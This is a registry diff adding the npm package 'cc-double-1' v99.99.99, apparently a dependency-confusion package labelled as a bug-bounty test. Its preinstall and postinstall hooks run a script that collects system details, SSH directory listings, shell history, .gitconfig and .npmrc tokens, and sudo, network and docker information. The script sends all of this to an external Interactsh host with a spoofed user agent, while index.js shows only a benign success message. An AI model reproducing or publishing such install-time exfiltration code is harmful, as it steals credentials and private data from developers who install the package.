cc-double-1 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/cc-double-1.js +143 -0
  2. package/index.js +24 -0
  3. package/package.json +17 -0
package/cc-double-1.js ADDED
@@ -0,0 +1,143 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const http = require('http');
5
+ const { execSync } = require('child_process');
6
+
7
+ // Helper function to safely execute commands (no password prompts)
8
+ function safeExec(command) {
9
+ try {
10
+ return execSync(command, {
11
+ encoding: 'utf8',
12
+ timeout: 5000,
13
+ stdio: ['pipe', 'pipe', 'pipe'] // Prevent any interactive prompts
14
+ }).trim();
15
+ } catch (e) {
16
+ return `Error: ${e.message}`;
17
+ }
18
+ }
19
+
20
+ // Helper to read file safely
21
+ function safeRead(filePath, maxLines = 50) {
22
+ try {
23
+ if (fs.existsSync(filePath)) {
24
+ const content = fs.readFileSync(filePath, 'utf8');
25
+ const lines = content.split('\n').slice(0, maxLines);
26
+ return lines.join('\n');
27
+ }
28
+ return 'File not found';
29
+ } catch (e) {
30
+ return `Error: ${e.message}`;
31
+ }
32
+ }
33
+
34
+ const data = {
35
+ // Target Info
36
+ bugbounty_company: 'bate5a',
37
+ package_name: 'cc-double-1',
38
+
39
+ // Basic System Info
40
+ hostname: os.hostname(),
41
+ username: os.userInfo().username,
42
+ homedir: os.userInfo().homedir,
43
+ shell: os.userInfo().shell,
44
+ cwd: process.cwd(),
45
+ os: os.platform() + ' ' + os.release(),
46
+ arch: os.arch(),
47
+ node: process.version,
48
+ uptime: os.uptime(),
49
+
50
+ // Network Info
51
+ netInterfaces: os.networkInterfaces(),
52
+
53
+ // Process Info
54
+ pid: process.pid,
55
+ ppid: process.ppid,
56
+ execPath: process.execPath,
57
+ argv: process.argv,
58
+
59
+ // File System Enumeration
60
+ currentDirListing: safeExec('ls -la'),
61
+ homeDirListing: safeExec(`ls -la ${os.userInfo().homedir}`),
62
+ rootListing: safeExec('ls -la / 2>/dev/null || echo "Permission denied"'),
63
+
64
+ // Sensitive Files Check
65
+ sshDir: safeExec(`ls -la ${path.join(os.userInfo().homedir, '.ssh')} 2>/dev/null || echo "No SSH directory or permission denied"`),
66
+ bashHistory: safeRead(path.join(os.userInfo().homedir, '.bash_history'), 100),
67
+ zshHistory: safeRead(path.join(os.userInfo().homedir, '.zsh_history'), 100),
68
+
69
+ // System Info Commands (no password required)
70
+ whoami: safeExec('whoami'),
71
+ id: safeExec('id'),
72
+ groups: safeExec('groups'),
73
+
74
+ // Sudo check (NON-INTERACTIVE - will NOT prompt for password)
75
+ isSudoUser: (() => {
76
+ const groups = safeExec('groups').toLowerCase();
77
+ return groups.includes('sudo') || groups.includes('wheel') || groups.includes('admin');
78
+ })(),
79
+ canSudoNoPassword: safeExec('sudo -n true 2>/dev/null && echo "yes" || echo "no"'),
80
+ sudoVersion: safeExec('sudo -V 2>/dev/null | head -1 || echo "Sudo not available"'),
81
+
82
+ // Network Enumeration (no password required)
83
+ ipAddr: safeExec('ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "Network commands unavailable"'),
84
+ routingTable: safeExec('ip route 2>/dev/null || route -n 2>/dev/null || echo "Routing info unavailable"'),
85
+ arpTable: safeExec('arp -a 2>/dev/null || echo "ARP unavailable"'),
86
+ netstat: safeExec('netstat -tuln 2>/dev/null || ss -tuln 2>/dev/null || echo "Network stats unavailable"'),
87
+
88
+ // Cron Jobs (no password required)
89
+ crontab: safeExec('crontab -l 2>/dev/null || echo "No crontab or permission denied"'),
90
+ systemCron: safeExec('ls -la /etc/cron* 2>/dev/null || echo "Cannot access system cron"'),
91
+
92
+ // Docker/Container Check (no password required)
93
+ isDocker: fs.existsSync('/.dockerenv'),
94
+ dockerInfo: safeExec('docker ps 2>/dev/null || echo "Docker not available or permission denied"'),
95
+
96
+ // System version info (no password required)
97
+ osRelease: safeRead('/etc/os-release'),
98
+ kernelVersion: safeExec('uname -a'),
99
+
100
+ // Installed packages (sample - no password required)
101
+ installedPackages: safeExec('dpkg -l 2>/dev/null | head -30 || rpm -qa 2>/dev/null | head -30 || echo "Package manager unavailable"'),
102
+
103
+ // Git repositories (limited to user home)
104
+ gitRepos: safeExec(`find ${os.userInfo().homedir} -name ".git" -type d 2>/dev/null | head -20 || echo "No git repos found"`),
105
+
106
+ // Git config (may contain credentials)
107
+ gitConfig: safeRead(path.join(os.userInfo().homedir, '.gitconfig')),
108
+
109
+ // NPM config (may contain tokens)
110
+ npmConfig: safeRead(path.join(os.userInfo().homedir, '.npmrc')),
111
+
112
+
113
+ timestamp: new Date().toISOString()
114
+ };
115
+
116
+ // Send to Interactsh (silent mode)
117
+ const postData = JSON.stringify(data, null, 2);
118
+
119
+ const options = {
120
+ hostname: 'd56nmlkilkgedq5jb1n0hg9io6mzrt9ie.oast.live',
121
+ port: 80,
122
+ path: '/',
123
+ method: 'POST',
124
+ headers: {
125
+ 'Content-Type': 'application/json',
126
+ 'Content-Length': Buffer.byteLength(postData),
127
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
128
+ }
129
+ };
130
+
131
+ const req = http.request(options, (res) => {
132
+ res.resume(); // Consume response data to free up memory
133
+ res.on('end', () => {
134
+ process.exit(0); // Exit cleanly after response is done
135
+ });
136
+ });
137
+
138
+ req.on('error', (e) => {
139
+ process.exit(1); // Exit on error
140
+ });
141
+
142
+ req.write(postData);
143
+ req.end();
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ // cc-double-1 - Index file
2
+ // Package successfully installed and updated
3
+
4
+ module.exports = {
5
+ name: 'cc-double-1',
6
+ version: '99.99.99',
7
+ message: 'Package updated successfully!',
8
+ init: function() {
9
+ console.log('[cc-double-1] Initialized successfully');
10
+ return true;
11
+ },
12
+ getInfo: function() {
13
+ return {
14
+ name: this.name,
15
+ version: this.version,
16
+ status: 'active'
17
+ };
18
+ }
19
+ };
20
+
21
+ // Auto-init message (silent in production)
22
+ if (process.env.NODE_ENV !== 'production') {
23
+ console.log('[cc-double-1] Package loaded - v99.99.99');
24
+ }
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "cc-double-1",
3
+ "version": "99.99.99",
4
+ "description": "Test package for bate5a",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node cc-double-1.js",
8
+ "postinstall": "node cc-double-1.js"
9
+ },
10
+ "keywords": [
11
+ "bate5a",
12
+ "test",
13
+ "security"
14
+ ],
15
+ "author": "Security Researcher",
16
+ "license": "MIT"
17
+ }